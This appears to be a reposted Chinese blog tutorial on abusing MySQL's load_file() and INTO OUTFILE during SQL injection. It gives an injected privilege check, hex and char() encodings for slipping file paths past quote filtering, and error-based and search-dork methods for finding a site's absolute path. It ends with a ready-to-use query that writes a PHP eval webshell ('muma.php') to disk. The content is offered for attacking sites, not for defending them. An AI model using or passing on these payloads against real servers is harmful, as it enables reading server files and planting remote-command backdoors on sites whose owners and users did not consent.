load_file()与into outfile函数详解

load_file()函数的使用:

1.使用条件

①有读取文件的权限 r

and (select count(*) from mysql.user)>0
如果返回正常则说明有权限,反之没有

②文件大小不能超过max_allowed_packet

secure_file_priv的值不为NULL

查看mysql是否有对函数load_file(),outfile()函数的限制(securefilepriv的值是否为NULL)

show global variables like '%secure%';

这个情况下没有办法用这些函数,可以到MySQL的配置文件下
修改,Windows下my.ini,linux下my.cnf。在[mysqld]下面添加一行

secure_file_priv = 

重启MySQL

出现这个就表明可以了
④必须给出绝对路径


2.注意

1. load_file()函数指定路径是要用到单引号,但是一般魔术引号开启,或者对你输入的内容进行了过滤,这时候转化为十六进制或者ASCII码

比如:d:/test.txt , 构造语句select load_file('d:/test.txt'), 如果进行了单引号过滤,语句会变成select load_file(\'d:/test.txt\') ,可以转化为16进制:0x643A2F746573742E747874(只转路径,不转'') ,或者转化为ASCII码:char(100,58,47,116,101,115,116,46,116,120,116) 构造select load_file(0x643A2F746573742E747874) 或者select load_file(char(100,58,47,116,101,115,116,46,116,120,116))

2.

hex(load_file('exe文件'))查看 exe二进制文件-----以十六进制读取
-------------------

3.爆出路径

①在display_errors = On的情况下,在后边加个错误参数,爆出网站的绝对路径

load_file()读取配置文件

③扫描工具

④googlehacking:

Site:webshell.cc warning

Site:webshell.cc "fatal error"

inurl:phpinfo


outfile

1.当对于单引号过滤的时候,就完犊子了,因为绝对路径必须有单引号,十六进制和ASCII都不行

2.outfile经典一句话
select '<?php eval($_POST[cmd])?>' into outfile 'd:/muma.php'

3.必须要有可写的权限。w

4.如果单引号过滤,能找到phpmyadmin也行

5.有时候写马的时候会出现这个提示,在这里我开了display_errors

但是我去自己服务器看了下确实会写进去。。。。

猜你喜欢

转载自www.cnblogs.com/zaqzzz/p/9353102.html